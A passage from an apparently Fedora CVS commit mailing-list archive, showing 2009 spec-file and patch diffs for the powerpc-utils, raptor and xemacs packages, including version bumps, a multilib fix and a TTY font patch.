+       [$#], [1], [m4_fatal([$0: too few arguments: $#: $1])],
+       [$#], [2], [],
+       [$#], [3], [m4_default([$2], [$1])([$3])[]],
+       [$#], [4], [$1([$3], [$4])[]],
+       [$1([$3], [$4])[]$0([$1], [$2], m4_shift(m4_shift3($@)))])])
+


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/powerpc-utils/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	25 Aug 2009 15:11:04 -0000	1.6
+++ .cvsignore	29 Oct 2009 16:31:35 -0000	1.7
@@ -1 +1 @@
-powerpc-utils-1.2.0.tar.gz
+powerpc-utils-1.2.2.tar.gz


Index: powerpc-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/powerpc-utils/devel/powerpc-utils.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- powerpc-utils.spec	25 Aug 2009 15:11:04 -0000	1.9
+++ powerpc-utils.spec	29 Oct 2009 16:31:35 -0000	1.10
@@ -1,23 +1,24 @@
-%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")}
-%{!?python_version: %global python_version %(%{__python} -c "from distutils.sysconfig import get_python_version; print get_python_version()")}
 Name:           powerpc-utils
-Version:        1.2.0
+Version:        1.2.2
 Release:        1%{?dist}
 Summary:        Utilities for PowerPC platforms
 
 Group:          System Environment/Base
 License:        CPL
-URL:            http://powerpc-utils.ozlabs.org/
-Source0:        http://powerpc-utils.ozlabs.org/releases/powerpc-utils-%{version}.tar.gz
+URL:            http://sourceforge.net/projects/%{name}/
+#Source0:        http://downloads.sourceforge.net/projects/%{name}/%{name}-%{version}.tar.gz
+Source0:        http://prdownloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
 Source1:        nvsetenv
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  doxygen automake python python-devel librtas-devel libservicelog-devel >= 1.0.1-2
+BuildRequires:  doxygen automake librtas-devel libservicelog-devel >= 1.0.1-2
 
 # should be fixed - libservicelog is not right name
 Requires:       libservicelog 
 ExclusiveArch:  ppc ppc64
 
 Patch1:         powerpc-utils-1.2.0-chkconfig.patch
+# This hack is needed only for platforms with autoconf < 2.63
+Patch2:		powerpc-utils-autoconf.patch
 
 # This is done before release of F12
 Obsoletes:      powerpc-utils-papr < 1.1.6-3
@@ -27,13 +28,18 @@ Provides:       powerpc-utils-papr = 1.1
 Utilities for PowerPC platforms.
 
 %prep
-%setup -q -n %{name}
+%setup -q
 %patch1 -p1 -b .chkconfig
 
+# This hack is needed only for platforms with autoconf < 2.63
+%if 0%{?fedora} < 9 && 0%{?rhel} < 6
+%patch2 -p1 -b .aconf
+%endif
+
 %build
 ./bootstrap.sh
-./configure --prefix=/usr
-make CFLAGS="$RPM_OPT_FLAGS" %{?_smp_mflags}
+%configure
+make %{?_smp_mflags}
 
 
 %install
@@ -64,11 +70,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_sbindir}/bootlist
 %{_sbindir}/ofpathname
 %{_sbindir}/ppc64_cpu
+%{_sbindir}/lsdevinfo
 %{_sbindir}/lsprop
-%{_mandir}/man8/nvram.8.gz
-%{_mandir}/man8/snap.8.gz
-%{_mandir}/man8/bootlist.8.gz
-%{_mandir}/man8/ofpathname.8.gz
+%{_mandir}/man8/nvram.8*
+%{_mandir}/man8/snap.8*
+%{_mandir}/man8/bootlist.8*
+%{_mandir}/man8/ofpathname.8*
 
 %{_sysconfdir}/rc.d/init.d/ibmvscsisd
 
@@ -87,33 +94,25 @@ rm -rf $RPM_BUILD_ROOT
 %{_sbindir}/sys_ident
 %{_sbindir}/drmgr
 %{_sbindir}/lsslot
-%{_bindir}/amsvis
 %{_bindir}/amsstat
-%{_mandir}/man8/update_flash.8.gz
-%{_mandir}/man8/activate_firmware.8.gz
-%{_mandir}/man8/usysident.8.gz
-%{_mandir}/man8/usysattn.8.gz
-%{_mandir}/man8/set_poweron_time.8.gz
-%{_mandir}/man8/rtas_ibm_get_vpd.8.gz
-%{_mandir}/man8/serv_config.8.gz
-%{_mandir}/man8/uesensor.8.gz
-%{_mandir}/man8/hvcsadmin.8.gz
-%{_mandir}/man8/vscsisadmin.8.gz
-%{_mandir}/man8/ibmvscsis.sh.8.gz
-%{_mandir}/man8/ibmvscsis.conf.8.gz
-%{_mandir}/man8/rtas_dump.8.gz
-%{_mandir}/man8/sys_ident.8.gz
-%{_mandir}/man1/amsvis.1.gz
-%{_mandir}/man1/amsstat.1.gz
+%{_mandir}/man8/update_flash.8*
+%{_mandir}/man8/activate_firmware.8*
+%{_mandir}/man8/usysident.8*
+%{_mandir}/man8/usysattn.8*
+%{_mandir}/man8/set_poweron_time.8*
+%{_mandir}/man8/rtas_ibm_get_vpd.8*
+%{_mandir}/man8/serv_config.8*
+%{_mandir}/man8/uesensor.8*
+%{_mandir}/man8/hvcsadmin.8*
+%{_mandir}/man8/vscsisadmin.8*
+%{_mandir}/man8/ibmvscsis.sh.8*
+%{_mandir}/man8/ibmvscsis.conf.8*
+%{_mandir}/man8/rtas_dump.8*
+%{_mandir}/man8/sys_ident.8*
+%{_mandir}/man1/amsvis.1*
+%{_mandir}/man1/amsstat.1*
 %doc README COPYRIGHT Changelog
 
-# pythonies
-%{python_sitelib}/powerpcAMS-%{version}-py%{python_version}.egg-info
-%{python_sitelib}/powerpcAMS/__init__.py*
-%{python_sitelib}/powerpcAMS/amsdata.py*
-%{python_sitelib}/powerpcAMS/amsnet.py*
-%{python_sitelib}/powerpcAMS/amswidget.py*
-
 %post
 /sbin/chkconfig --add ibmvscsisd
 
@@ -124,6 +123,14 @@ if [ $1 = 0 ] ; then
 fi
 
 %changelog
+* Thu Oct 29 2009 Stepan Kasal <skasal at redhat.com> - 1.2.2-1
+- new upstream version
+- amsvis removed, this package has no longer anything with python
+- change the manual pages in the file list so that it does not depend on
+  particular compression used
+- add patch for configure.ac on platforms with autoconf < 2.63
+- use standard %%configure/make in %%build
+
 * Mon Aug 17 2009 Roman Rakus <rrakus at redhat.com> - 1.2.0-1
 - Bump tu version 1.2.0 - powerpc-utils and powerpc-utils-papr get merged
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/powerpc-utils/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	25 Aug 2009 15:11:04 -0000	1.6
+++ sources	29 Oct 2009 16:31:35 -0000	1.7
@@ -1 +1 @@
-6a79a185421aa6f88d163124073ffae0  powerpc-utils-1.2.0.tar.gz
+07a057c920c9e2ee03d7b8ef16e3bf1d  powerpc-utils-1.2.2.tar.gz



From oget at fedoraproject.org  Thu Oct 29 16:32:14 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Thu, 29 Oct 2009 16:32:14 +0000 (UTC)
Subject: rpms/raptor/F-10 raptor-config-multilib.patch, NONE, 1.1 raptor.spec,
	1.14, 1.15
Message-ID: <20091029163214.8BDD611C008B@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/raptor/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23793

Modified Files:
	raptor.spec 
Added Files:
	raptor-config-multilib.patch 
Log Message:
* Thu Oct 29 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.4.18-5
- Fix multilib conflict (RHBZ#477342)


raptor-config-multilib.patch:
 raptor-config.in |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE raptor-config-multilib.patch ---
diff -rupN raptor-1.4.18.old/src/raptor-config.in raptor-1.4.18/src/raptor-config.in
--- raptor-1.4.18.old/src/raptor-config.in	2007-01-05 23:02:00.000000000 -0500
+++ raptor-1.4.18/src/raptor-config.in	2009-10-29 01:47:57.000000000 -0400
@@ -130,11 +130,11 @@ if test "$echo_options" = "yes"; then
   done
 fi
 if test "$echo_libs" = "yes"; then
-  echo -L at libdir@ -lraptor
+  pkg-config --libs raptor
 fi
 if test "$echo_libtool_libs" = "yes"; then
-  echo @libdir@/@RAPTOR_LIBTOOLLIBS@
+  echo
 fi
 if test "$echo_private_libs" = "yes"; then
-  echo @LIBS@
+  pkg-config --libs --static raptor
 fi


Index: raptor.spec
===================================================================
RCS file: /cvs/pkgs/rpms/raptor/F-10/raptor.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- raptor.spec	8 Jul 2008 13:07:10 -0000	1.14
+++ raptor.spec	29 Oct 2009 16:32:13 -0000	1.15
@@ -1,10 +1,12 @@
 Summary:       Raptor RDF Parser Toolkit for Redland
 Name:          raptor
 Version:       1.4.18
-Release:       1%{?dist}
+Release:       5%{?dist}
 License:       LGPLv2+ or ASL 2.0
 Group:         System Environment/Libraries
 Source:        http://download.librdf.org/source/raptor-%{version}.tar.gz
+# Make the raptor-config file multilib friendly (RHBZ#477342)
+Patch0:        raptor-config-multilib.patch
 URL:           http://librdf.org/raptor/
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: libxml2-devel libxslt-devel curl-devel
@@ -27,6 +29,12 @@ RDF/XML or N-Triples.
 
 %prep
 %setup -q
+%patch0 -p1 -b .multilib
+
+# hack to nuke rpaths
+%if "%{_libdir}" != "/usr/lib"
+sed -i -e 's|"/lib /usr/lib|"/%{_lib} %{_libdir}|' configure
+%endif
 
 %build
 %configure --disable-static
@@ -36,7 +44,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 
 make DESTDIR=$RPM_BUILD_ROOT install
-rm -f ${RPM_BUILD_ROOT}%{_libdir}/*.{a,la}
+rm -f ${RPM_BUILD_ROOT}%{_libdir}/lib*.la
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -49,23 +57,38 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-, root, root)
 %doc AUTHORS COPYING COPYING.LIB ChangeLog LICENSE-2.0.txt LICENSE.html LICENSE.txt NEWS README
 %doc %{_mandir}/man1/rapper.1*
-%{_libdir}/lib*.so.*
+%{_libdir}/libraptor.so.1*
 %{_bindir}/rapper
 
 
 %files devel
 %defattr(-, root, root)
-%doc AUTHORS COPYING COPYING.LIB ChangeLog LICENSE-2.0.txt LICENSE.html LICENSE.txt NEWS README
-%doc INSTALL.html
-%doc %{_mandir}/man1/raptor-config.1*
-%doc %{_mandir}/man3/libraptor.3*
-%doc %{_datadir}/gtk-doc/html/raptor
-%{_libdir}/lib*.so
+# include instuctions on how to build from source? omit for now, flog
+# me with a wet noodle if I'm wrong  -- Rex
+#doc INSTALL.html
+%{_mandir}/man1/raptor-config.1*
+%{_mandir}/man3/libraptor.3*
+%doc %{_datadir}/gtk-doc/html/raptor/
+%{_libdir}/libraptor.so
 %{_libdir}/pkgconfig/raptor.pc
-%{_prefix}/include/*
+%{_includedir}/raptor.h
 %{_bindir}/raptor-config
 
 %changelog
+* Thu Oct 29 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.4.18-5
+- Fix multilib conflict (RHBZ#477342)
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.18-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Fri May 01 2009 Rex Dieter <rdieter at fedoraproject.org> 1.4.18-3
+- nuke rpaths
+- touchup %%files
+- -devel: omit dup'd %%doc's included in main pkg
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.18-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Tue Jul 08 2008 Anthony Green <green at redhat.com> 1.4.18-1
 - Update sources.
 



From jjames at fedoraproject.org  Thu Oct 29 16:34:32 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 29 Oct 2009 16:34:32 +0000 (UTC)
Subject: rpms/xemacs/F-11 xemacs-21.5.28-courier-default.patch, 1.4,
	1.5 xemacs-21.5.29-tty-font-512623.patch, NONE, 1.1 xemacs.spec,
	1.51, 1.52
Message-ID: <20091029163432.1FB1711C008B@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/xemacs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24611/F-11

Modified Files:
	xemacs.spec 
Added Files:
	xemacs-21.5.28-courier-default.patch 
	xemacs-21.5.29-tty-font-512623.patch 
Log Message:
* Wed Oct 28 2009 Jerry James <loganjerry at gmail.com> - 21.5.29-6
- Bring back the courier font patch; that was a red herring.
- Really, seriously fix bz 512623 with a TTY font patch.
- Fix the version number in macros.xemacs.
- Build with bignum support.
- Turn off OSS support.


xemacs-21.5.28-courier-default.patch:
 faces.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: xemacs-21.5.28-courier-default.patch
===================================================================
RCS file: xemacs-21.5.28-courier-default.patch
diff -N xemacs-21.5.28-courier-default.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ xemacs-21.5.28-courier-default.patch	29 Oct 2009 16:34:30 -0000	1.5
@@ -0,0 +1,11 @@
+--- xemacs-21.5.28/src/faces.c	2009-05-18 14:51:08.000000000 -0000
++++ xemacs-21.5.28/src/faces.c	2009-08-24 17:07:03.000000000 -0000
+@@ -2411,7 +2411,7 @@
+       Fcons
+       (Fcons
+        (list1 (device_symbol),
+-	build_string ("-*-lucidatypewriter-medium-r-*-*-*-120-*-*-*-*-*-*")),
++	build_string ("-*-courier-medium-r-*-*-*-120-*-*-*-*-*-*")),
+        inst_list);
+ 
+ #endif /* !USE_XFT */

xemacs-21.5.29-tty-font-512623.patch:
 objects.c |   11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

--- NEW FILE xemacs-21.5.29-tty-font-512623.patch ---
diff -dur xemacs-21.5.29.ORIG/src/objects.c xemacs-21.5.29/src/objects.c
--- xemacs-21.5.29.ORIG/src/objects.c	2009-05-18 08:51:09.000000000 -0600
+++ xemacs-21.5.29/src/objects.c	2009-10-29 09:09:21.562935348 -0600
@@ -892,6 +892,11 @@
       instantiator = Ffont_instance_name (instantiator);
     }
 
+#ifdef HAVE_TTY
+  if (LISTP (instantiator))
+    instantiator = build_string ("normal");
+#endif
+
   if (STRINGP (instantiator))
     {
 #ifdef MULE
@@ -981,7 +986,11 @@
 static void
 font_validate (Lisp_Object instantiator)
 {
-  if (FONT_INSTANCEP (instantiator) || STRINGP (instantiator))
+  if (FONT_INSTANCEP (instantiator) || STRINGP (instantiator)
+#ifdef HAVE_TTY
+      || LISTP (instantiator)
+#endif
+      )
     return;
   if (VECTORP (instantiator))
     {


Index: xemacs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xemacs/F-11/xemacs.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- xemacs.spec	24 Sep 2009 14:13:39 -0000	1.51
+++ xemacs.spec	29 Oct 2009 16:34:30 -0000	1.52
@@ -18,10 +18,11 @@
 %endif
 
 #global snap    20090311hg4626
+%global majver  21.5
 
 Name:           xemacs
 Version:        21.5.29
-Release:        4%{?snap:.%{snap}}%{?dist}
+Release:        5%{?snap:.%{snap}}%{?dist}
 Summary:        Different version of Emacs
 
 Group:          Applications/Editors
@@ -30,7 +31,7 @@ URL:            http://www.xemacs.org/
 %if 0%{?snap:1}
 Source0:        %{name}-%{snap}.tar.lzma
 %else
-Source0:        http://ftp.xemacs.org/xemacs-21.5/xemacs-%{version}.tar.gz
+Source0:        http://ftp.xemacs.org/xemacs-%{majver}/xemacs-%{version}.tar.gz
 %endif
 Source1:        %{name}.png
 Source2:        xemacs.desktop
@@ -49,7 +50,10 @@ Patch5:         %{name}-21.5.25-wnnfix-1
 Patch6:         %{name}-21.5.29-no-xft.patch
 # Applied upstream 2009-09-23
 Patch7:         %{name}-21.5.29-png.patch
+Patch8:         %{name}-21.5.28-courier-default.patch
 Patch9:         %{name}-21.5.29-destdir.patch
+# Sent upstream 2009-10-28
+Patch10:        %{name}-21.5.29-tty-font-512623.patch
 # Sent upstream 2009-03-12
 Patch14:        %{name}-beta-infodir.patch
 
@@ -80,6 +84,7 @@ BuildRequires:  xmkmf
 BuildRequires:  libXau-devel
 BuildRequires:  libXpm-devel
 BuildRequires:  alsa-lib-devel
+BuildRequires:  gmp-devel
 %if %{with gtk}
 BuildRequires:  gtk+-devel
 BuildRequires:  libglade-devel
@@ -154,6 +159,9 @@ This package contains XEmacs built witho
 Summary:        Emacs lisp source files for XEmacs
 Group:          Development/Libraries
 Requires:       %{name}-common = %{version}-%{release}
+%if 0%{?fedora} >= 10
+BuildArch:      noarch
+%endif
 
 %description    el
 XEmacs is a highly customizable open source text editor and
@@ -218,7 +226,9 @@ touch -r aclocal.m4-stamp aclocal.m4
 %patch6 -p1
 %endif
 %patch7 -p1
+%patch8 -p1
 %patch9 -p1
+%patch10 -p1
 %patch14 -p1
 
 sed -i -e 's/"lib"/"%{_lib}"/' lisp/setup-paths.el
@@ -269,6 +279,7 @@ common_options="
 %endif
     --with-debug
     --with-error-checking=none
+    --enable-bignum=gmp
 "
 
 %if %{with nox}
@@ -294,6 +305,7 @@ done
 # build with X
 %configure $common_options \
     --with-docdir=%{_libdir}/xemacs-%{xver}/doc \
+    --with-sound=nonative,alsa \
 %if %{with xft}
     --with-xft=all \
 %else
@@ -336,7 +348,7 @@ Cflags: -I${includedir}
 EOF
 
 cat > macros.xemacs << EOF
-%%_xemacs_version %{version}
+%%_xemacs_version %{majver}
 %%_xemacs_ev %{?epoch:%{epoch}:}%{version}
 %%_xemacs_evr %{?epoch:%{epoch}:}%{version}-%{release}
 %%_xemacs_sitepkgdir %{_datadir}/xemacs/site-packages
@@ -411,6 +423,7 @@ install -Dpm 644 macros.xemacs $RPM_BUIL
 
 # make sure nothing is 0400
 chmod -R a+rX $RPM_BUILD_ROOT%{_prefix}
+chmod a+x $RPM_BUILD_ROOT%{_datadir}/xemacs-%{xver}%{_sysconfdir}/xemacs-fe.sh
 
 # clean up unneeded stuff (TODO: there's probably much more)
 find $RPM_BUILD_ROOT%{_prefix} -name "*~" | xargs -r rm
@@ -579,6 +592,13 @@ fi
 
 
 %changelog
+* Wed Oct 28 2009 Jerry James <loganjerry at gmail.com> - 21.5.29-5
+- Bring back the courier font patch; that was a red herring.
+- Really, seriously fix bz 512623 with a TTY font patch.
+- Fix the version number in macros.xemacs.
+- Build with bignum support.
+- Turn off OSS support.
+
 * Wed Sep 23 2009 Jerry James <loganjerry at gmail.com> - 21.5.29-4
 - Final fix for bz 512623, which is actually two bugs, because ...
 - ... the courier font patch breaks TTY font detection.  Removed that patch



From jjames at fedoraproject.org  Thu Oct 29 16:34:32 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 29 Oct 2009 16:34:32 +0000 (UTC)
Subject: rpms/xemacs/devel xemacs-21.5.28-courier-default.patch, 1.4,
	1.5 xemacs-21.5.29-tty-font-512623.patch, NONE, 1.1 xemacs.spec,
	1.53, 1.54
Message-ID: <20091029163432.62BA811C008B@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/xemacs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24611/devel

Modified Files:
	xemacs.spec 
Added Files:
	xemacs-21.5.28-courier-default.patch 
	xemacs-21.5.29-tty-font-512623.patch 
Log Message:
* Wed Oct 28 2009 Jerry James <loganjerry at gmail.com> - 21.5.29-6
- Bring back the courier font patch; that was a red herring.
- Really, seriously fix bz 512623 with a TTY font patch.
- Fix the version number in macros.xemacs.
- Build with bignum support.
- Turn off OSS support.


xemacs-21.5.28-courier-default.patch:
 faces.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: xemacs-21.5.28-courier-default.patch
===================================================================
RCS file: xemacs-21.5.28-courier-default.patch
diff -N xemacs-21.5.28-courier-default.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ xemacs-21.5.28-courier-default.patch	29 Oct 2009 16:34:31 -0000	1.5
@@ -0,0 +1,11 @@
+--- xemacs-21.5.28/src/faces.c	2009-05-18 14:51:08.000000000 -0000
++++ xemacs-21.5.28/src/faces.c	2009-08-24 17:07:03.000000000 -0000
+@@ -2411,7 +2411,7 @@
+       Fcons
+       (Fcons
+        (list1 (device_symbol),
+-	build_string ("-*-lucidatypewriter-medium-r-*-*-*-120-*-*-*-*-*-*")),
++	build_string ("-*-courier-medium-r-*-*-*-120-*-*-*-*-*-*")),
+        inst_list);
+ 
+ #endif /* !USE_XFT */

xemacs-21.5.29-tty-font-512623.patch:
 objects.c |   11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

--- NEW FILE xemacs-21.5.29-tty-font-512623.patch ---
diff -dur xemacs-21.5.29.ORIG/src/objects.c xemacs-21.5.29/src/objects.c
--- xemacs-21.5.29.ORIG/src/objects.c	2009-05-18 08:51:09.000000000 -0600
+++ xemacs-21.5.29/src/objects.c	2009-10-29 09:09:21.562935348 -0600
@@ -892,6 +892,11 @@
       instantiator = Ffont_instance_name (instantiator);
     }
 
+#ifdef HAVE_TTY
+  if (LISTP (instantiator))
+    instantiator = build_string ("normal");
+#endif
+
   if (STRINGP (instantiator))
     {
 #ifdef MULE
@@ -981,7 +986,11 @@
 static void
 font_validate (Lisp_Object instantiator)
 {
-  if (FONT_INSTANCEP (instantiator) || STRINGP (instantiator))
+  if (FONT_INSTANCEP (instantiator) || STRINGP (instantiator)
+#ifdef HAVE_TTY
+      || LISTP (instantiator)
+#endif
+      )
     return;
   if (VECTORP (instantiator))
     {


Index: xemacs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xemacs/devel/xemacs.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- xemacs.spec	24 Sep 2009 14:13:39 -0000	1.53
+++ xemacs.spec	29 Oct 2009 16:34:31 -0000	1.54
@@ -18,10 +18,11 @@
 %endif
 
 #global snap    20090311hg4626
+%global majver  21.5
 
 Name:           xemacs
 Version:        21.5.29
-Release:        5%{?snap:.%{snap}}%{?dist}
+Release:        6%{?snap:.%{snap}}%{?dist}
 Summary:        Different version of Emacs
 
 Group:          Applications/Editors
@@ -30,7 +31,7 @@ URL:            http://www.xemacs.org/
 %if 0%{?snap:1}
 Source0:        %{name}-%{snap}.tar.lzma
 %else
-Source0:        http://ftp.xemacs.org/xemacs-21.5/xemacs-%{version}.tar.gz
+Source0:        http://ftp.xemacs.org/xemacs-%{majver}/xemacs-%{version}.tar.gz
 %endif
 Source1:        %{name}.png
 Source2:        xemacs.desktop
@@ -49,7 +50,10 @@ Patch5:         %{name}-21.5.25-wnnfix-1
 Patch6:         %{name}-21.5.29-no-xft.patch
 # Applied upstream 2009-09-23
 Patch7:         %{name}-21.5.29-png.patch
+Patch8:         %{name}-21.5.28-courier-default.patch
 Patch9:         %{name}-21.5.29-destdir.patch
+# Sent upstream 2009-10-28
+Patch10:        %{name}-21.5.29-tty-font-512623.patch
 # Sent upstream 2009-03-12
 Patch14:        %{name}-beta-infodir.patch
 
@@ -80,6 +84,7 @@ BuildRequires:  xmkmf
 BuildRequires:  libXau-devel
 BuildRequires:  libXpm-devel
 BuildRequires:  alsa-lib-devel
+BuildRequires:  gmp-devel
 %if %{with gtk}
 BuildRequires:  gtk+-devel
 BuildRequires:  libglade-devel
@@ -154,6 +159,9 @@ This package contains XEmacs built witho
 Summary:        Emacs lisp source files for XEmacs
 Group:          Development/Libraries
 Requires:       %{name}-common = %{version}-%{release}
+%if 0%{?fedora} >= 10
+BuildArch:      noarch
+%endif
 
 %description    el
 XEmacs is a highly customizable open source text editor and
@@ -218,7 +226,9 @@ touch -r aclocal.m4-stamp aclocal.m4
 %patch6 -p1
 %endif
 %patch7 -p1
+%patch8 -p1
 %patch9 -p1
+%patch10 -p1
 %patch14 -p1
 
 sed -i -e 's/"lib"/"%{_lib}"/' lisp/setup-paths.el
@@ -269,6 +279,7 @@ common_options="
 %endif
     --with-debug
     --with-error-checking=none
+    --enable-bignum=gmp
 "
 
 %if %{with nox}
@@ -294,6 +305,7 @@ done
 # build with X
 %configure $common_options \
     --with-docdir=%{_libdir}/xemacs-%{xver}/doc \
+    --with-sound=nonative,alsa \
 %if %{with xft}
     --with-xft=all \
 %else
@@ -336,7 +348,7 @@ Cflags: -I${includedir}
 EOF
 
 cat > macros.xemacs << EOF
-%%_xemacs_version %{version}
+%%_xemacs_version %{majver}
 %%_xemacs_ev %{?epoch:%{epoch}:}%{version}
 %%_xemacs_evr %{?epoch:%{epoch}:}%{version}-%{release}
 %%_xemacs_sitepkgdir %{_datadir}/xemacs/site-packages
@@ -411,6 +423,7 @@ install -Dpm 644 macros.xemacs $RPM_BUIL
 
 # make sure nothing is 0400
 chmod -R a+rX $RPM_BUILD_ROOT%{_prefix}
+chmod a+x $RPM_BUILD_ROOT%{_datadir}/xemacs-%{xver}%{_sysconfdir}/xemacs-fe.sh
 
 # clean up unneeded stuff (TODO: there's probably much more)
 find $RPM_BUILD_ROOT%{_prefix} -name "*~" | xargs -r rm
@@ -579,6 +592,13 @@ fi
 
 
 %changelog
+* Wed Oct 28 2009 Jerry James <loganjerry at gmail.com> - 21.5.29-6
+- Bring back the courier font patch; that was a red herring.
+- Really, seriously fix bz 512623 with a TTY font patch.
+- Fix the version number in macros.xemacs.
+- Build with bignum support.
+- Turn off OSS support.
+
 * Wed Sep 23 2009 Jerry James <loganjerry at gmail.com> - 21.5.29-5
 - Final fix for bz 512623, which is actually two bugs, because ...
 - ... the courier font patch breaks TTY font detection.  Removed that patch



From jjames at fedoraproject.org  Thu Oct 29 16:34:33 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 29 Oct 2009 16:34:33 +0000 (UTC)
Subject: rpms/xemacs/F-12 xemacs-21.5.28-courier-default.patch, 1.4,
	1.5 xemacs-21.5.29-tty-font-512623.patch, NONE, 1.1 xemacs.spec,
	1.53, 1.54
Message-ID: <20091029163433.8BDC311C008B@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/xemacs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24611/F-12

Modified Files:
	xemacs.spec 
Added Files:
	xemacs-21.5.28-courier-default.patch 
	xemacs-21.5.29-tty-font-512623.patch 
Log Message:
* Wed Oct 28 2009 Jerry James <loganjerry at gmail.com> - 21.5.29-6
- Bring back the courier font patch; that was a red herring.
- Really, seriously fix bz 512623 with a TTY font patch.
- Fix the version number in macros.xemacs.
- Build with bignum support.
- Turn off OSS support.


xemacs-21.5.28-courier-default.patch:
 faces.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: xemacs-21.5.28-courier-default.patch
===================================================================
RCS file: xemacs-21.5.28-courier-default.patch
diff -N xemacs-21.5.28-courier-default.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ xemacs-21.5.28-courier-default.patch	29 Oct 2009 16:34:31 -0000	1.5
@@ -0,0 +1,11 @@
+--- xemacs-21.5.28/src/faces.c	2009-05-18 14:51:08.000000000 -0000
++++ xemacs-21.5.28/src/faces.c	2009-08-24 17:07:03.000000000 -0000
+@@ -2411,7 +2411,7 @@
+       Fcons
+       (Fcons
+        (list1 (device_symbol),
+-	build_string ("-*-lucidatypewriter-medium-r-*-*-*-120-*-*-*-*-*-*")),
++	build_string ("-*-courier-medium-r-*-*-*-120-*-*-*-*-*-*")),
+        inst_list);
+ 
+ #endif /* !USE_XFT */

xemacs-21.5.29-tty-font-512623.patch:
 objects.c |   11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

--- NEW FILE xemacs-21.5.29-tty-font-512623.patch ---
diff -dur xemacs-21.5.29.ORIG/src/objects.c xemacs-21.5.29/src/objects.c
--- xemacs-21.5.29.ORIG/src/objects.c	2009-05-18 08:51:09.000000000 -0600
+++ xemacs-21.5.29/src/objects.c	2009-10-29 09:09:21.562935348 -0600
@@ -892,6 +892,11 @@
       instantiator = Ffont_instance_name (instantiator);
     }
 
+#ifdef HAVE_TTY
+  if (LISTP (instantiator))
+    instantiator = build_string ("normal");
+#endif
+
   if (STRINGP (instantiator))
     {
 #ifdef MULE
@@ -981,7 +986,11 @@
 static void
 font_validate (Lisp_Object instantiator)
 {
-  if (FONT_INSTANCEP (instantiator) || STRINGP (instantiator))
+  if (FONT_INSTANCEP (instantiator) || STRINGP (instantiator)
+#ifdef HAVE_TTY
+      || LISTP (instantiator)
+#endif
+      )
     return;
   if (VECTORP (instantiator))
     {


Index: xemacs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xemacs/F-12/xemacs.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- xemacs.spec	24 Sep 2009 14:13:39 -0000	1.53
+++ xemacs.spec	29 Oct 2009 16:34:31 -0000	1.54
@@ -18,10 +18,11 @@
 %endif
 
 #global snap    20090311hg4626
+%global majver  21.5
 
 Name:           xemacs
 Version:        21.5.29
-Release:        5%{?snap:.%{snap}}%{?dist}
+Release:        6%{?snap:.%{snap}}%{?dist}
 Summary:        Different version of Emacs
 
 Group:          Applications/Editors
@@ -30,7 +31,7 @@ URL:            http://www.xemacs.org/
 %if 0%{?snap:1}
 Source0:        %{name}-%{snap}.tar.lzma
 %else
-Source0:        http://ftp.xemacs.org/xemacs-21.5/xemacs-%{version}.tar.gz
+Source0:        http://ftp.xemacs.org/xemacs-%{majver}/xemacs-%{version}.tar.gz
 %endif
 Source1:        %{name}.png
 Source2:        xemacs.desktop
